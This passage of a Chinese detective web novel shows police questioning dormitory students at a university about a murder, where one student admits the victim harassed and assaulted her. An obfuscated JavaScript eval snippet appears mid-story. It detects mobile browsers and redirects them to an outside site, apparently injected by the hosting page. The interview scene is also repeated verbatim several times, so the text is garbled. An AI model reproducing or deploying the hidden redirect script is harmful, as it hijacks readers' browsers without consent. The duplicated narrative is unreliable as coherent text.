“暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 第189章 校园鬼影,刚刚受的伤 八个小脑袋就像是一窝小鸡仔,一起站了起来。 “同学们坐下吧。楚隽道:“不用紧张。现在我问大家一些问题,有什么就说什么。如果有什么问题觉得不好说,也可以私下告诉老师,或者告诉我们的这位女同志。 有些女孩子之间的事情,对男警察,可能不好启齿。 这个年代总体来说是保守的,但大学是知识和开放的前沿,青春萌动的一群少男少女,对感情羞涩又向往。 只是在老师面前,都有顾虑。 他们遭遇到了前所未有的挑战。 楚隽将照片放在桌上。 “几位同学,你们看看这张照片,有没有人认识? 其实照片已经在学校认过一轮了,除了宿舍楼下的保安,没有人说认识。 这也能理解,现在是**了,谁愿意摊上这事情,认识也说不认识啊。就算之前是一种炫耀,现在也要立马撇清关系。 当然,也可见不是真爱。要是真爱,早就出来哭了。 他们主要指望的,不是死者女朋友本人,而是同寝室的人。 老师在一边加油添醋:“你们知道什么就要说什么,知道吗?这可是命案,你们都是好不容易考到这个学校来的,都是天之骄子,日后前途不可限量。若是对凶手包庇隐瞒,不配合警察,一旦查实,开除事小,坐牢事大。知道吗? 老师虽然说得严重了点,但也不是瞎说。 女同学一个个都被吓着了。 一个老师在上面说,几十个上百个人在下面听的威慑力。和几个人在面前站着,几个人对面听的威慑力,这是不一样的。 后者要大许多。 安暖进了寝室之后,就不动声色地查看起了寝室里的东西。 每个人都有一个小柜子,所有的东西都放在里面。 每个人还有箱子,衣服之类的,也会放在箱子里。 都是女孩子的物品,刑警队的人虽然能查看,但都是男人终究不太方便,安暖动手就好多了。 当查看到一个柜子的时候,安暖停住了目光。 这是一零五寝室一个女学生的柜子,里面都是一些常用的物品。 她今天看了许多柜子,都差不多。 现在市场上的东西不多,品种有限。高档的化妆品什么的,还是以国外的为主。楚隽送安暖的那些,上面都是英文。 学生的话,除非家里的条件很好,不然还是很节俭的。就算是化妆品,一般也就是一瓶面霜之类,没有 后市五花八门,又是面膜又是防晒又是水乳又是隔离。 这个女同学的柜子里,东西都是便宜实用的,化妆品也只有一瓶普通的面霜。 还有一瓶红药水。 安暖拿起红药水看了看,用手摸了一下瓶口。 然后看了看自己的手指。 手上有一点点红色。 红药水的瓶口上,是没有完全干涸的红药水。 安暖沉思了一下,走到几名学生面前。 “你们谁受伤了?” 几个人都是一愣,不知道安暖是什么意思? 安暖举起了红药水:“这瓶红药水,是今天才被打开使用的。是谁受伤了?伤在哪儿,我想看一下。” 坐在中间的一个姑娘脸色立刻就变了。 她随后就低下了头。 “你?”安暖立刻点出了人:“同学,你叫什么名字?” 老师立刻道:“曹红霞。” “嗯,曹红霞同学,你是不是受伤了?” 曹红霞是个长得很漂亮的姑娘,白白净净的,穿着很朴实,打扮的也素净。在这个最好的年纪,就像是一朵清纯的小白花。 “是。”曹红霞说:“我今天晚上不小心撞到了手指,破了点皮。” 她伸出手,手上果然有一点擦伤。 伤口不大,她一直坐在中间垂着手,所以看不见。 “就,就这么点擦伤。”曹红霞说:“没多大事儿。警察同志,有什么问题吗?” 伤口是新鲜的,不用法医,安暖也能做出基本的大概判断。 这伤,就在这一天造成的,是在粗粝的物体上被磨破的。 安暖看了一眼楚隽。 楚隽顿时就明白了。 昨天发现死者的地方是假山。山体,地面都很粗粝,皮肤在上面摩擦,很容易就会磨破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574672|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你是伤了手指吗?”安暖道:“楚队,我想给曹同学检查一下,看看身上是否还有其他的伤。” 楚队点了点头:“好。” 曹红霞一下站了起来:“不要,为什么要检查?我身上没有其他的伤了。” 她的反应有点大了。 学生毕竟是学生,就算是大学生,也没经过多少事情,做不到滴水不漏,不动声色。 “你别误会。”安暖道:“只是检查一下,你跟我来吧,我们去隔壁检查。” “不,不行。” 曹红霞吞吞吐吐地,抓住自己的衣摆。 欲盖弥彰。 老师沉下脸:“曹红霞,你怎么回事?要配合警方的调查,这位同志要给你检查一下,你有什么好怕的?或者说,有什么事情不能见人?” 曹红霞眼睛一红,眼眶就湿润了。 楚隽严肃道:“曹同学,如果你不能接受,那就要跟我们去一趟刑警队了。警局里有专门验伤的法医,可以给你进行更专业的检查。” 曹红霞虽然很不情愿,但是没有办法,只好跟着安暖走了。 所有的查案都是这样。 除非你没有被看见,一旦被看见,一旦被怀疑,就很难全身而退。那种被怀疑上了,还能咬死不开口,让警方十分头大的,是少之又少。 大部分人只要多问几句,多问几遍,就自然会露出破绽,什么都招了。 楚隽道:“昨天晚上,曹红霞是不是出了什么事儿?” 几个女同学你看看我,我看看你。 “我希望同学们可以有什么说什么,这件事情很严重,说出来才好解决。不说,等我们调查出来,警方就会追究隐瞒的责任。你们要用自己的学业和未来,去赌吗?” 女学生脸上表情各异,但确实有些被吓着了。 她们从进学校到现在,哪里遭遇过这么严重的事情,都没太回过神来。 但是,又不想说。 “你们是有什么顾虑吗?”楚隽放缓声音,平和道:“你们放心,如果是有什么困难,或者有人威胁你们,你们尽管说出来,警方一定会帮助你们的,不会置之不理的。” 第190章 校园鬼影,纠缠不休 老师在一旁也循循善诱。 “我知道你们都是心地善良的孩子,不说,肯定是因为有什么难言之隐。但你们只是学生,有些事情你们处理不了。听话,把处理不了的事情交给老师,交给警察来处理,好嘛?学校一定会尽最大的可能保护你们的。” 同学们你看看我,我看看你。 现在需要一个突破口。 老师说:“简清,你是宿舍长,你说。昨天晚上,是不是发生了什么事情?” 安暖将曹红霞带去了隔壁的寝室,让里面的人暂时先出去一下。 关上门,拉上窗帘,打开灯。 安暖道:“别怕,身上还有哪里有伤,给我看看。” 曹红霞抱着胳膊靠在墙上,连连摇头? “同学,你别害怕。”安暖柔声道:“你是不是遇到了什么事情,如果有困难,你可以告诉我们,我们一定会帮助你的。” 曹红霞眼泪哗啦啦的往下掉。 安暖叹了口气。 “你别这样,哭是解决不了问题的,逃避也逃避不了。”安暖说:“让我看看,要是不让我看的话,我就要叫别人进来了。” 安暖是和气的,愿意跟一个柔弱女学生好好说话。 但如果她真的不听,作为嫌疑人,也不是不能上一些强制措施。 曹红霞咬着嘴唇,终于慢慢地卷起了袖子。 和安暖想的一样,曹红霞的胳膊上,也有擦伤。 和手指上的伤一样,是在粗糙的石头上磨出来的,新鲜的伤,上面抹了红药水。 两只胳膊上都有。 安暖仔细地看了看。 “这伤是怎么来的?”安暖道:“是昨天晚上弄的吗?” 曹红霞点了点头。 安暖的年纪其实比她大不了几岁,但心理年龄就成熟多了,总觉得自己是在欺负小孩子。 她拽着曹红霞的胳膊在椅子上坐下。 “别害怕,昨天晚上发生了什么事情,你原原本本地告诉我。国家一定会给你做主的。” 虽然不知前因后果是不能妄下决断的,但就看眼前的小姑娘,安暖觉得她不是凶手,至少不像凶手。 曹红霞被安暖安抚了。 她断断续续的,说了昨晚的事情。 “今天死的那个人,他一直在纠缠我。” “纠缠你,你认识他?” “嗯,他叫张少华。”曹红霞说:“他就住在学校附近,去年,我给他的孩子做家教认识的。” 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” 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就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 曹红霞是外地学生,家庭条件不太好,为了赚点钱补贴生活,闲暇之余会勤工俭学。 学校针对这一类的学生,会提供各种帮助。比如贫困补贴,社会捐助,勤学岗位。学生自己呢,也会在外面找些力所能及的工作。 对清大的学生,自身最大的优势就是学习。 能考上这里的,就没有成绩差的。所以清大的学生在外面做给人做家教,是很正常的,很受欢迎的。 曹红霞这样看着就斯文,学习又好的姑娘,是最受欢迎的。 曹红霞开始的时候,就是给张少华的儿子辅导功课。半年的时间,都挺正常。找上她的,也不是张少华,而是张少华的妻子,那半年,是一段非常正常的辅导功课的过程。 可是半年前,出了问题。 曹红霞抹了抹眼泪:“半年前,张少华离婚了,他妻子带着孩子去了别的地方。我原以为,家教就结束了,可是没想到,他缠上了我。” 安暖随身带着本子,曹红霞一边说,一边不停的记录。 按理说,她这会儿应该把楚隽叫过来听的。但是曹红霞的情绪比较激动,好容易愿意说了,安暖也不敢随意打断。 有些时候,一打断就接不上了。 就像是有些人好容易下定决心伸出手来,被外面一吓唬一刺激,又会缩回去。 曹红霞说:“我拒绝了他,可是他一直纠缠不休。昨天晚上,他又约我出去。就是在那个地方。” 安暖嗯一声:“然后呢?” “我们吵了一架。”曹红霞说:“他又提出了要求,说要跟我结婚。我不愿意,然后……他动了手,我胳膊上的伤,就是在挣扎的时候弄的。然后我就跑了,回了寝室,处理了伤口。” 安暖道:“那上午警察拿照片出来的时候,你为什么说自己不认识他?” “我害怕。”曹红霞说:“虽然我很讨厌他,可是我也没想过他会死……我害怕警察会觉得我杀了人,也害怕被人知道后,会有风言风语,会被人指指点点。” 和死者有不清不楚的关系,这事情要是被别人知道了,风言风语就能杀**。 安暖将她说的一一记下来。 “我有几个问题。” 曹红霞点了点头。 安暖道:“第一,你说张少华纠缠你,是经常来学校找你的意思吗?” “不是……他不怎么来学校。”曹红霞道:“我不让他来学校。如果他来学校,一定会被别人看见,我怕影响不好。” “你不让他来,他就不来?”安暖挺好奇:“他听你的话?” 所以说,他们之间到底是什么关系。 是男女朋友关系?还是胁迫和被胁迫的关系?还是金主和金丝雀关系?还是受害者和**的关系? “听,听一些。”曹红霞艰难地说:“他用我的学业威胁我,我不敢不听他的。他说,如果我不和他来往,他就在学校里闹,让我没法在学校再待下去。但是,这是我最后的底线,所以他也知道,一旦这事情在学校被人知道,我就没什么可怕的了。到时候,我真的会跟他鱼死网破。” 威胁人的人都知道,你可以捏住对方的命脉,但你不能真的毁了。 毁了,对方就无敌了。 所以张少华只是偶尔才会来一趟学校,以至于学校里没有什么人见过他。 “好,第二个问题。”安暖道:“昨天晚上,你是怎么离开寝室,又是怎么回来的?据我所知,女生寝室晚上是会关门的,应该出不去才对。” 教师宿舍可以随意进出,学生宿舍,可是有宵禁的。 “走廊角落有个天窗可以爬。”曹红霞羞愧地低下头:“我就是从那儿进出的。” 安暖十分无语,看出来了,这个肯定不是什么秘密。 第191章 校园鬼影,天窗 所谓上有政策,下有对策,毕竟是学校宿舍不是监狱,门关得再严实,也拦不住青春活跃的少男少女。 曹红霞哭哭啼啼地将她和张少华的事情说了个七七八八。 她说自己就是被威胁恐吓的一个受害者,**是绝对不敢的。 安暖一一记了下来,想了想道:“庄致轩老师,也是你的代课老师吧? “是。 “跟他关系怎么样? 曹红霞有些不解:“庄老师,是个挺好的老师。课教得好,也很平易近人……同学们都挺喜欢他的。 这是很官方的评价了。 当一个学生不是特别讨厌一个老师的情况下,也就是这样的评价了。 “好,我知道了。安暖道:“我们过去吧。 曹红霞开了口,她的寝室里剩下的几个人,也都开了口。 她们有的见过张少华,有的没见过,只是知道有这个人。 张少华的存在,对曹红霞来说是一段**的经历,不是可以炫耀的男朋友。所以同寝室的人虽然不好瞒,但也尽量瞒,瞒不住全部,知道的也不多。 唯一一个见过一次张少华的,也不是在学校里见的,是在校外有一次无意中碰见了两人拉扯,才知道的多一些。 楚隽看了安暖做的记录。 “曹同学,张少华家住哪里,你是知道的对吧? 曹红霞点了点头。 “带我们过去一趟。 人**,要通知家属。父母兄妹,如果没有,也要通知已经离婚的妻子和孩子。 就算离了婚的妻子是陌生人,儿子是一定要通知的。总不能自己父亲去世了,做儿子的不知道。 安暖凑在楚隽耳边说了几句。 楚隽应了一声。 “曹同学。楚隽说:“带我们去看一下你晚上出去的天窗。 曹红霞看起来说了那么多,但是到底说的是真是假,有多少真,有多少假,还不好说。必须一一核实。 曹红霞带着几人出了寝室。 这个能偷偷摸摸溜出去的天窗,老师知道不知道不好说,在同学之间反正不是什么秘密。 七弯八转的,到了走廊的尽头。 这里平时就没有什么人来了,这会儿更是阴冷得很。 虽然走廊上有灯,但灯光昏暗,不足以照亮一切。 楚隽要来个手电筒。 “就是这里。 天窗在一人高的位置,但是底下放着一张破 桌子桌子边还有个椅子。这简直就是特意搭配出来给人爬窗的。 窗口虽然不大但一个人进出绰绰有余。不过上面是铁丝栅栏每一道铁杆之间连脑袋都过不去。而且也不是对面开的。说是窗子充其量也就是个出气口。 楚隽爬了上去。 他抓住栏杆用力往下一拽。 竟然将窗子拽了下来。 “这……就是这样。”曹红霞说:“这个窗子老旧了一拽就下来。我们有时候偷偷出去回来的时候再给装回去就行。” 上面有个卡槽往上一提就能卸下来。再往上一放就能卡住。 几个跟来的同学表情都很淡定但是跟来的老师心情就很复杂脸色也很复杂了。 这是眼皮子底下的出逃啊也不知道多少年了老师竟然一点都没有察觉。 楚隽身手灵活地从天窗钻了出去。 安暖仰着头往上看。 